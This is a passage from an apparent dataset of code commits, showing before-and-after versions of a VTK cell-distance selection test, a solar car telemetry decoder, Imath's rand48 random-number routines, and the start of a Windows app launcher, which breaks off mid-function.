ugrid->GetCellData()->GetScalars();\n for ( vtkIdType i = 0; i < oCellIds->GetNumberOfTuples(); ++ i )\n {\n cerr << oCellIds->GetTuple1( i )\n << \" \";\n }\n cerr << endl;\n\n \/\/ If requested, write mesh\n if ( writeGrid )\n {\n vtksys_ios::ostringstream fileNameSS;\n fileNameSS << \".\/CellDistanceExtraction-\"\n << testIdx\n << \".vtk\";\n vtkSmartPointer<vtkUnstructuredGridWriter> writer = vtkSmartPointer<vtkUnstructuredGridWriter>::New();\n writer->SetFileName( fileNameSS.str().c_str() );\n writer->SetInputData( ugrid );\n writer->Write();\n cerr << \"Wrote file \"\n << fileNameSS.str()\n << endl;\n }\n\n return testStatus;\n}\n\n\/\/----------------------------------------------------------------------------\nint TestCellDistanceSelector( int argc, char * argv [] )\n{\n \/\/ Initialize test value\n int testIntValue = 0;\n\n \/\/ Read 3D unstructured input mesh\n char* fileName = vtkTestUtilities::ExpandDataFileName( argc, argv, \"Data\/AngularSector.vtk\");\n vtkSmartPointer<vtkUnstructuredGridReader> reader = vtkSmartPointer<vtkUnstructuredGridReader>::New();\n reader->SetFileName( fileName );\n reader->Update();\n delete [] fileName;\n\n \/\/ Create multi-block mesh for linear selector\n vtkSmartPointer<vtkMultiBlockDataSet> mesh = vtkSmartPointer<vtkMultiBlockDataSet>::New();\n mesh->SetNumberOfBlocks( 1 );\n mesh->GetMetaData( static_cast<unsigned>( 0 ) )->Set( vtkCompositeDataSet::NAME(), \"Mesh\" );\n mesh->SetBlock( 0, reader->GetOutput() );\n\n \/\/ *****************************************************************************\n \/\/ 0. Selection along inner segment with endpoints (0,0,0) and (.23, 04,.04)\n \/\/ *****************************************************************************\n\n \/\/ Create selection along one line segment\n vtkSmartPointer<vtkCellDistanceSelector> ls0 = vtkSmartPointer<vtkCellDistanceSelector>::New();\n ls0->SetInputData( mesh );\n\n \/\/ Extract selection from mesh\n vtkSmartPointer<vtkExtractSelection> es0 = vtkSmartPointer<vtkExtractSelection>::New();\n es0->SetInputData( 0, mesh );\n es0->SetInputConnection( 1, ls0->GetOutputPort() );\n es0->Update();\n\n testIntValue += CheckExtractedUGrid( es0, \"Selection (0,0,0)-(0.23,0.04,0.04)\", 0, true );\n\n return testIntValue;\n}\n<commit_msg>A first test that corresponds to something real<commit_after>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: TestCellDistanceSelector.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/\/ .SECTION Thanks\n\/\/ This test was written by Philippe Pebay, Kitware SAS 2012\n\n#include \"vtkCellArray.h\"\n#include \"vtkCellData.h\"\n#include \"vtkExtractSelection.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkInformation.h\"\n#include \"vtkCellDistanceSelector.h\"\n#include \"vtkMultiBlockDataSet.h\"\n#include \"vtkPointData.h\"\n#include \"vtkSelection.h\"\n#include \"vtkSelectionNode.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkTestUtilities.h\"\n#include \"vtkUnstructuredGrid.h\"\n#include \"vtkUnstructuredGridReader.h\"\n#include \"vtkUnstructuredGridWriter.h\"\n\n#include <vtksys\/ios\/sstream>\n\n\/\/ Reference values\nvtkIdType cardCellDistanceSelection[] =\n{\n 125,\n 54,\n 108,\n 45,\n};\n\n\/\/ ------------------------------------------------------------------------------------------------\nstatic int CheckExtractedUGrid( vtkExtractSelection* extract,\n const char* tag,\n int testIdx,\n bool writeGrid )\n{\n \/\/ Output must be a multiblock dataset\n vtkMultiBlockDataSet* outputMB = vtkMultiBlockDataSet::SafeDownCast( extract->GetOutput() );\n if ( ! outputMB )\n {\n vtkGenericWarningMacro(\"Cannot downcast extracted selection to multiblock dataset.\");\n\n return 1;\n }\n\n \/\/ First block must be an unstructured grid\n vtkUnstructuredGrid* ugrid = vtkUnstructuredGrid::SafeDownCast( outputMB->GetBlock( 0 ) );\n if ( ! ugrid )\n {\n vtkGenericWarningMacro(\"Cannot downcast extracted selection to unstructured grid.\");\n\n return 1;\n }\n\n \/\/ Initialize test status\n int testStatus = 0;\n cerr << endl;\n\n \/\/ Verify selection cardinality\n vtkIdType nCells = ugrid->GetNumberOfCells();\n cout << tag\n << \" contains \"\n << nCells\n << \" cells.\"\n << endl;\n\n if ( nCells != cardCellDistanceSelection[testIdx] )\n {\n vtkGenericWarningMacro( \"Incorrect cardinality: \"\n << nCells\n << \" != \"\n << cardCellDistanceSelection[testIdx] );\n testStatus = 1;\n }\n\n \/\/ Verify selection cells\n cerr << \"Original cell Ids (types): \";\n ugrid->GetCellData()->SetActiveScalars( \"vtkOriginalCellIds\" );\n vtkDataArray* oCellIds = ugrid->GetCellData()->GetScalars();\n for ( vtkIdType i = 0; i < oCellIds->GetNumberOfTuples(); ++ i )\n {\n cerr << oCellIds->GetTuple1( i )\n << \" \";\n }\n cerr << endl;\n\n \/\/ If requested, write mesh\n if ( writeGrid )\n {\n vtksys_ios::ostringstream fileNameSS;\n fileNameSS << \".\/CellDistanceExtraction-\"\n << testIdx\n << \".vtk\";\n vtkSmartPointer<vtkUnstructuredGridWriter> writer = vtkSmartPointer<vtkUnstructuredGridWriter>::New();\n writer->SetFileName( fileNameSS.str().c_str() );\n writer->SetInputData( ugrid );\n writer->Write();\n cerr << \"Wrote file \"\n << fileNameSS.str()\n << endl;\n }\n\n return testStatus;\n}\n\n\/\/----------------------------------------------------------------------------\nint TestCellDistanceSelector( int argc, char * argv [] )\n{\n \/\/ Initialize test value\n int testIntValue = 0;\n\n \/\/ Read 3D unstructured input mesh\n char* fileName = vtkTestUtilities::ExpandDataFileName( argc, argv, \"Data\/AngularSector.vtk\");\n vtkSmartPointer<vtkUnstructuredGridReader> reader = vtkSmartPointer<vtkUnstructuredGridReader>::New();\n reader->SetFileName( fileName );\n reader->Update();\n delete [] fileName;\n\n \/\/ Create multi-block mesh for linear selector\n vtkSmartPointer<vtkMultiBlockDataSet> mesh = vtkSmartPointer<vtkMultiBlockDataSet>::New();\n mesh->SetNumberOfBlocks( 1 );\n mesh->GetMetaData( static_cast<unsigned>( 0 ) )->Set( vtkCompositeDataSet::NAME(), \"Mesh\" );\n mesh->SetBlock( 0, reader->GetOutput() );\n\n \/\/ *****************************************************************************\n \/\/ 0. Selection with distance of 2 from cell 7000\n \/\/ *****************************************************************************\n\n \/\/ Create a selection, sel0, of cell with index 7000\n vtkSmartPointer<vtkIdTypeArray> selArr0 = vtkSmartPointer<vtkIdTypeArray>::New();\n selArr0->InsertNextValue( 7000 );\n vtkSmartPointer<vtkSelectionNode> selNode0 = vtkSmartPointer<vtkSelectionNode>::New();\n selNode0->SetContentType( vtkSelectionNode::INDICES );\n selNode0->SetFieldType( vtkSelectionNode::CELL );\n selNode0->GetProperties()->Set( vtkSelectionNode::COMPOSITE_INDEX(), 1 );\n selNode0->SetSelectionList( selArr0 );\n vtkSmartPointer<vtkSelection> sel0 = vtkSmartPointer<vtkSelection>::New();\n sel0->AddNode( selNode0 );\n\n \/\/ Create selection up to topological distance of 2\n vtkSmartPointer<vtkCellDistanceSelector> ls0 = vtkSmartPointer<vtkCellDistanceSelector>::New();\n ls0->SetInputData( 0, sel0 );\n ls0->SetInputData( 1, mesh );\n ls0->SetDistance( 2 );\n\n \/\/ Extract selection from mesh\n vtkSmartPointer<vtkExtractSelection> es0 = vtkSmartPointer<vtkExtractSelection>::New();\n es0->SetInputData( 0, mesh );\n es0->SetInputConnection( 1, ls0->GetOutputPort() );\n es0->Update();\n testIntValue += CheckExtractedUGrid( es0, \"Selection d({7000})<3\", 0, true );\n\n return testIntValue;\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Schulich Delta Hermes\n * Copyright (C) 2015 University of Calgary Solar Car Team\n *\n * This file is part of Schulich Delta Hermes\n *\n * Schulich Delta Hermes is free software: \n * you can redistribute it and\/or modify it under the terms \n * of the GNU Affero General Public License as published by \n * the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * Schulich Delta Hermes is distributed \n * in the hope that it will be useful, but WITHOUT ANY WARRANTY; \n * without even the implied warranty of MERCHANTABILITY or \n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero \n * General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General \n * Public License along with Schulich Delta Hermes.\n * If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * For further contact, email <software@calgarysolarcar.ca>\n *\/\n\n#include \"DriverControlDetails.h\"\n#include \"MessageDecodingHelpers.h\"\n#include \"MessageDefines.h\"\n\nusing namespace MessageDecodingHelpers;\n\nnamespace\n{\n const int motorVelocityIndex = 1;\n const int motorVoltageIndex = 5;\n const int motorCurrentRealIndex = 9;\n const int backEmfIndex = 13;\n const int dpsBoardTemperatureIndex = 17;\n const int dcBusAmpHoursIndex = 21;\n const int odometerIndex = 25;\n}\n\nDriverControlDetails::DriverControlDetails(\n const QByteArray& messageData)\n: messageData_(messageData)\n{\n}\n\nfloat DriverControlDetails::motorVelocity() const\n{\n return getFloat(messageData_, motorVelocityIndex);\n}\n\nfloat DriverControlDetails::motorVoltage() const\n{\n return getFloat(messageData_, motorVoltageIndex);\n}\n\nfloat DriverControlDetails::motorCurrentReal() const\n{\n return getFloat(messageData_, motorCurrentRealIndex);\n}\n\nfloat DriverControlDetails::backEmf() const\n{\n return getFloat(messageData_, backEmfIndex);\n}\n\nfloat DriverControlDetails::dpsBoardTemperature() const\n{\n return getFloat(messageData_, dpsBoardTemperatureIndex);\n}\n\nfloat DriverControlDetails::dcBusAmpHours() const\n{\n return getFloat(messageData_, dcBusAmpHoursIndex);\n}\n\nfloat DriverControlDetails::odometer() const \n{\n return getFloat(messageData_, odometerIndex);\n}\n\nQString DriverControlDetails::toString() const\n{\n QString messageString;\n messageString += QString::number(MessageDefines::DriverControlDetails) + \", \";\n messageString += QString::number(motorVelocity()) + \", \";\n messageString += QString::number(motorVoltage()) + \", \";\n messageString += QString::number(motorCurrentReal()) + \", \";\n messageString += QString::number(backEmf()) + \", \";\n messageString += QString::number(dpsBoardTemperature()) + \", \";\n messageString += QString::number(dcBusAmpHours()) + \", \";\n return messageString;\n}\n<commit_msg>renamed driver control details to follow naming conventions<commit_after>\/**\n * Schulich Delta Hermes\n * Copyright (C) 2015 University of Calgary Solar Car Team\n *\n * This file is part of Schulich Delta Hermes\n *\n * Schulich Delta Hermes is free software: \n * you can redistribute it and\/or modify it under the terms \n * of the GNU Affero General Public License as published by \n * the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * Schulich Delta Hermes is distributed \n * in the hope that it will be useful, but WITHOUT ANY WARRANTY; \n * without even the implied warranty of MERCHANTABILITY or \n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero \n * General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General \n * Public License along with Schulich Delta Hermes.\n * If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * For further contact, email <software@calgarysolarcar.ca>\n *\/\n\n#include \"DriverControlDetails.h\"\n#include \"MessageDecodingHelpers.h\"\n#include \"MessageDefines.h\"\n\nusing namespace MessageDecodingHelpers;\n\nnamespace\n{\n const int MOTOR_VELOCITY_INDEX = 1;\n const int MOTOR_VOLTAGE_INDEX = 5;\n const int MOTOR_CURRENT_REAL_INDEX = 9;\n const int BACK_EMF_INDEX = 13;\n const int DSP_BOARD_TEMPERATURE_INDEX = 17;\n const int DC_BUS_AMP_HOURS_INDEX = 21;\n const int ODOMETER_INDEX = 25;\n}\n\nDriverControlDetails::DriverControlDetails(\n const QByteArray& messageData)\n: messageData_(messageData)\n{\n}\n\nfloat DriverControlDetails::motorVelocity() const\n{\n return getFloat(messageData_, MOTOR_VELOCITY_INDEX);\n}\n\nfloat DriverControlDetails::motorVoltage() const\n{\n return getFloat(messageData_, MOTOR_VOLTAGE_INDEX);\n}\n\nfloat DriverControlDetails::motorCurrentReal() const\n{\n return getFloat(messageData_, MOTOR_CURRENT_REAL_INDEX);\n}\n\nfloat DriverControlDetails::backEmf() const\n{\n return getFloat(messageData_, BACK_EMF_INDEX);\n}\n\nfloat DriverControlDetails::dpsBoardTemperature() const\n{\n return getFloat(messageData_, DSP_BOARD_TEMPERATURE_INDEX);\n}\n\nfloat DriverControlDetails::dcBusAmpHours() const\n{\n return getFloat(messageData_, DC_BUS_AMP_HOURS_INDEX);\n}\n\nfloat DriverControlDetails::odometer() const \n{\n return getFloat(messageData_, ODOMETER_INDEX);\n}\n\nQString DriverControlDetails::toString() const\n{\n QString messageString;\n messageString += QString::number(MessageDefines::DriverControlDetails) + \", \";\n messageString += QString::number(motorVelocity()) + \", \";\n messageString += QString::number(motorVoltage()) + \", \";\n messageString += QString::number(motorCurrentReal()) + \", \";\n messageString += QString::number(backEmf()) + \", \";\n messageString += QString::number(dpsBoardTemperature()) + \", \";\n messageString += QString::number(dcBusAmpHours()) + \", \";\n return messageString;\n}\n<|endoftext|>"} {"text":"<commit_before>\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2002, Industrial Light & Magic, a division of Lucas\n\/\/ Digital Ltd. LLC\n\/\/ \n\/\/ All rights reserved.\n\/\/ \n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/ * Neither the name of Industrial Light & Magic nor the names of\n\/\/ its contributors may be used to endorse or promote products derived\n\/\/ from this software without specific prior written permission. \n\/\/ \n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/\tRoutines that generate pseudo-random numbers compatible\n\/\/\twith the standard erand48(), nrand48(), etc. functions.\n\/\/\n\/\/-----------------------------------------------------------------------------\n\n#include \"ImathRandom.h\"\n#include \"ImathLimits.h\"\n\nnamespace Imath {\n\n#if ULONG_MAX == 18446744073709551615LU\n typedef long unsigned int Int64;\n#else\n typedef long long unsigned int Int64;\n#endif\n\nnamespace {\n\n\/\/\n\/\/ Static state used by Imath::drand48(), Imath::lrand48() and Imath::srand48()\n\/\/\n\nunsigned short staticState[3] = {0, 0, 0};\n\n\nvoid\nrand48Next (unsigned short state[3])\n{\n \/\/\n \/\/ drand48() and friends are all based\n \/\/ on a linear congruential sequence,\n \/\/\n \/\/ x[n+1] = (a * x[n] + c) % (m + 1),\n \/\/ \n \/\/ with a, c and m as specified below.\n \/\/\n\n static const Int64 a = Int64 (0x5deece66dLL);\n static const Int64 c = Int64 (0xbLL);\n static const Int64 m = Int64 (0x0ffffffffffffLL);\n\n \/\/\n \/\/ Assemble the 48-bit value x[n] from the\n \/\/ three 16-bit values stored in state.\n \/\/\n\n Int64 x = (Int64 (state[2]) << 32) |\n\t (Int64 (state[1]) << 16) |\n\t Int64 (state[0]);\n\n \/\/\n \/\/ Compute x[n+1]\n \/\/\n\n x = (a * x + c) & m;\n\n \/\/\n \/\/ Disassemble x[n+1] into three 16-bit values.\n \/\/ The code assumes that sizeof (unsigned short) == 2.\n \/\/\n\n state[2] = x >> 32;\n state[1] = x >> 16;\n state[0] = x;\n}\n\n} \/\/ namespace\n\n\ndouble\nerand48 (unsigned short state[3])\n{\n \/\/\n \/\/ Generate a double-precision floating-point value between 0.0 and 1.0:\n \/\/ \n \/\/ The biased exponent for all doubles between 1.0 and 2.0 is 0x3ff.\n \/\/ The 48 most significant bits of the significand (mantissa) are\n \/\/ filled with pseudo-random bits generated by rand48Next(). The\n \/\/ remaining 4 bits are set to 0. This results in a bit pattern\n \/\/ between 0x3ff0000000000000 and 0x3ffffffffffffff0, which corresponds\n \/\/ to a floating-point value between 1.0 and 1.9999999999999964.\n \/\/ Subtracting 1.0 from this value produces a number between 0.0 and\n \/\/ 0.9999999999999964.\n \/\/ \n\n rand48Next (state);\n\n union {double d; Int64 i;} u;\n\n u.i = (Int64 (0x3ff) << 52) |\t\/\/ sign and exponent\n\t (Int64 (state[2]) << 36) |\t\/\/ significand\n\t (Int64 (state[1]) << 20) |\n\t (Int64 (state[0]) << 4);\n\n return u.d - 1;\n}\n\n\ndouble\ndrand48 ()\n{\n return Imath::erand48 (staticState);\n}\n\n\nlong int\nnrand48 (unsigned short state[3])\n{\n \/\/\n \/\/ Generate an integer between 0 and 0x7fffffff.\n \/\/ \n\n rand48Next (state);\n\n return ((long int) (state[2]) << 15) |\n\t ((long int) (state[1]) >> 1);\n}\n\n\nlong int\nlrand48 ()\n{\n return Imath::nrand48 (staticState);\n}\n\n\nvoid\nsrand48 (long int seed)\n{\n staticState[2] = seed >> 16;\n staticState[1] = seed;\n staticState[0] = 0x330e;\n}\n\n} \/\/ namespace Imath\n<commit_msg>Fixed comments.<commit_after>\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2002, Industrial Light & Magic, a division of Lucas\n\/\/ Digital Ltd. LLC\n\/\/ \n\/\/ All rights reserved.\n\/\/ \n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/ * Neither the name of Industrial Light & Magic nor the names of\n\/\/ its contributors may be used to endorse or promote products derived\n\/\/ from this software without specific prior written permission. \n\/\/ \n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/\tRoutines that generate pseudo-random numbers compatible\n\/\/\twith the standard erand48(), nrand48(), etc. functions.\n\/\/\n\/\/-----------------------------------------------------------------------------\n\n#include \"ImathRandom.h\"\n#include \"ImathLimits.h\"\n\nnamespace Imath {\n\n#if ULONG_MAX == 18446744073709551615LU\n typedef long unsigned int Int64;\n#else\n typedef long long unsigned int Int64;\n#endif\n\nnamespace {\n\n\/\/\n\/\/ Static state used by Imath::drand48(), Imath::lrand48() and Imath::srand48()\n\/\/\n\nunsigned short staticState[3] = {0, 0, 0};\n\n\nvoid\nrand48Next (unsigned short state[3])\n{\n \/\/\n \/\/ drand48() and friends are all based\n \/\/ on a linear congruential sequence,\n \/\/\n \/\/ x[n+1] = (a * x[n] + c) % (m + 1),\n \/\/ \n \/\/ with a, c and m as specified below.\n \/\/\n\n static const Int64 a = Int64 (0x5deece66dLL);\n static const Int64 c = Int64 (0xbLL);\n static const Int64 m = Int64 (0x0ffffffffffffLL);\n\n \/\/\n \/\/ Assemble the 48-bit value x[n] from the\n \/\/ three 16-bit values stored in state.\n \/\/\n\n Int64 x = (Int64 (state[2]) << 32) |\n\t (Int64 (state[1]) << 16) |\n\t Int64 (state[0]);\n\n \/\/\n \/\/ Compute x[n+1]\n \/\/\n\n x = (a * x + c) & m;\n\n \/\/\n \/\/ Disassemble x[n+1] into three 16-bit values.\n \/\/ The code assumes that sizeof (unsigned short) == 2.\n \/\/\n\n state[2] = x >> 32;\n state[1] = x >> 16;\n state[0] = x;\n}\n\n} \/\/ namespace\n\n\ndouble\nerand48 (unsigned short state[3])\n{\n \/\/\n \/\/ Generate double-precision floating-point values between 0.0 and 1.0:\n \/\/ \n \/\/ The biased exponent for all doubles between 1.0 and 2.0 is 0x3ff.\n \/\/ The 48 most significant bits of the significand (mantissa) are\n \/\/ filled with pseudo-random bits generated by rand48Next().\n \/\/ The remaining 4 bits are set to 0. This results in bit patterns\n \/\/ between 0x3ff0000000000000 and 0x3ffffffffffffff0, which correspond\n \/\/ to uniformly distributed floating-point values between 1.0 and\n \/\/ 1.9999999999999964. Subtracting 1.0 from those values produces\n \/\/ numbers between 0.0 and 0.9999999999999964.\n \/\/ \n\n rand48Next (state);\n\n union {double d; Int64 i;} u;\n\n u.i = (Int64 (0x3ff) << 52) |\t\/\/ sign and exponent\n\t (Int64 (state[2]) << 36) |\t\/\/ significand\n\t (Int64 (state[1]) << 20) |\n\t (Int64 (state[0]) << 4);\n\n return u.d - 1;\n}\n\n\ndouble\ndrand48 ()\n{\n return Imath::erand48 (staticState);\n}\n\n\nlong int\nnrand48 (unsigned short state[3])\n{\n \/\/\n \/\/ Generate uniformly distributed integers between 0 and 0x7fffffff.\n \/\/ \n\n rand48Next (state);\n\n return ((long int) (state[2]) << 15) |\n\t ((long int) (state[1]) >> 1);\n}\n\n\nlong int\nlrand48 ()\n{\n return Imath::nrand48 (staticState);\n}\n\n\nvoid\nsrand48 (long int seed)\n{\n staticState[2] = seed >> 16;\n staticState[1] = seed;\n staticState[0] = 0x330e;\n}\n\n} \/\/ namespace Imath\n<|endoftext|>"} {"text":"<commit_before>\/\/ RhoLaunch.cpp : Defines the entry point for the application.\n\/\/\n\n#include \"windows.h\"\n#include \"RhoLaunch.h\"\n\n\n#define MAX_LOADSTRING 100\n#define PB_WINDOW_RESTORE WM_USER + 10\n\n\n\n\/\/ Global Functions:\nint LaunchProcess( LPTSTR pFilePath, LPTSTR pCmdLine);\n\n\nint WINAPI WinMain(HINSTANCE hInstance,\n HINSTANCE hPrevInstance,\n LPTSTR lpCmdLine,\n int nCmdShow)\n{\n\t\n\tCOPYDATASTRUCT launchData;\n\t\n\t\/\/validate the command line\n\tint iLen = wcslen(lpCmdLine);\n\tif(iLen < 3){\n\t\treturn 1;\n\t}\n\n\t\/\/LPWSTR pAppName = new WCHAR[iLen + 3];\/\/allow space for the index\n\tLPWSTR pAppName,pTabName,pTemp;\n\tpAppName = pTemp= lpCmdLine;\n\t\n\t\n\t\n\tint iLoop;\n\tbool bStart,bTabStart,bAppName;\n\tbStart = bTabStart = bAppName= false;\n\n\t\n\tfor(iLoop = 0;iLoop < iLen ;iLoop++)\n\t{\n\t\tif(lpCmdLine[iLoop] == L' '){\n\t\t\t\n\t\t\tif(bStart){\n\t\t\t\tif(!bAppName){\n\t\t\t\t\t*pTemp = NULL;\/\/terminate the app name\n\t\t\t\t\tpTemp++;\n\t\t\t\t\tbAppName = true;\n\t\t\t\t\tpTabName = pTemp;\n\n\t\t\t\t}\n\t\t\t\telse if(bTabStart){\n\t\t\t\t\t*pTemp = NULL;\/\/terminate the tab name\n\t\t\t\t\tbreak;\/\/finished so exit loop\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tcontinue;\/\/ignore spaces\n\t\t\n\t\t}\t\t\n\n\n\n\n\t\tif(lpCmdLine[iLoop] == L'\/'){\n\t\t\tif(!bStart){\n\t\t\t\tbStart = !bStart;\n\t\t\t\tcontinue;\n\n\t\t\t}\n\t\t\t\n\t\t\tif(!bAppName){\n\t\t\t\t*pTemp= NULL;\n\t\t\t\tbAppName = !bAppName;\n\t\t\t\tbTabStart = true;\n\t\t\t}\n\n\t\t\tif(!bTabStart){\n\t\t\t\tbTabStart = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t}\n\t\t*pTemp= lpCmdLine[iLoop];\n\t\tpTemp++;\n\n\t}\n\t*pTemp = NULL;\n\t\t\t\n\t\n\t\n\tHWND hwndRunningRE = FindWindow(NULL, pAppName);\n\t\t\n\tif (hwndRunningRE){\n\t\t\/\/ Found the running instance\n\t\t\n\t\t\n\t\t\/\/rhode expects a MultiByte string so convert\n\t\tint ilen = wcslen(pTabName);\n\t\tchar *pTabNameMB = new char[ilen+1];\n\t\twcstombs(pTabNameMB, pTabName,ilen);\t\n\t\n\t\n\t\tlaunchData.lpData = pTabNameMB;\n\t\tlaunchData.cbData = (ilen+1);\n\n\n\n\t\tShowWindow(hwndRunningRE, SW_RESTORE);\n\t\t\n\t\tSendMessage(hwndRunningRE,PB_WINDOW_RESTORE,(WPARAM) NULL,(LPARAM)TRUE);\n\t\t\n\t\t\/\/send a message to inform Rho of the requested index\n\t\tSendMessage(hwndRunningRE,WM_COPYDATA,(WPARAM)NULL,(LPARAM) (LPVOID) &launchData );\n\t\t\n\n\n\t\tdelete [] pTabNameMB;\n\n\n\t\t\/\/ switch to it\n\t\t\n\t\tSetForegroundWindow(hwndRunningRE);\n\t\n\t}\n\telse{\n\t\t\/\/no window handle, so try to start the app\n\t\t\/\/will only work if RhoLaunch is in the same directory as the app\n\t\t\n\t\t\/\/build the Rho app name\n\t\tWCHAR pApp[MAX_PATH + 1];\n\t\tint iIndex,iLen;\n\n\t\tif(!(iLen = GetModuleFileName(NULL,pApp,MAX_PATH))){\n\t\t\treturn 1;\/\/error could not find the path \n\t\t}\n\n\t\t\/\/remove 'RhoLaunch' from the path\n\t\tfor(iIndex = iLen - 1;pApp[iIndex]!=L'\\\\';iIndex--);\n\t\tpApp[iIndex+ 1] = NULL;\n\n\t\t\n\t\t\/\/LPWSTR pApp = new WCHAR[wcslen(pAppName)+10];\n\t\twcscat(pApp,pAppName);\n\t\twcscat(pApp,L\".exe\");\n\t\t\n\t\tLPWSTR pTabCommand = new WCHAR[wcslen(pTabName)+20];\n\t\twsprintf(pTabCommand,L\"\/tabname=\\\"%s\\\"\",pTabName);\n\t\t\n\n\n\t\tLaunchProcess(pApp,pTabCommand); \n\t\t\t \n\t\t\n\t\tdelete [] pTabCommand;\n\t}\n\t\n\treturn 0;\n}\n\nint LaunchProcess( LPTSTR pFilePath, LPTSTR pCmdLine)\n{\n\t\n\tSTARTUPINFO\t\t\t\tStartInfo;\n\tPROCESS_INFORMATION\t\tProcessInfo;\n\tBOOL\t\t\t\t\tbOk;\n\n\n\t\/\/\tReset the contents of the 'Process Information' and 'Start Up' structures.\n\n\tmemset( &ProcessInfo, 0, sizeof( PROCESS_INFORMATION));\n\tmemset( &StartInfo, 0, sizeof( STARTUPINFO));\n\tStartInfo.cb = sizeof( STARTUPINFO);\n\n\n\t\/\/\tCreate the 'browser' in a seperate process.\n\n\tbOk = CreateProcess( 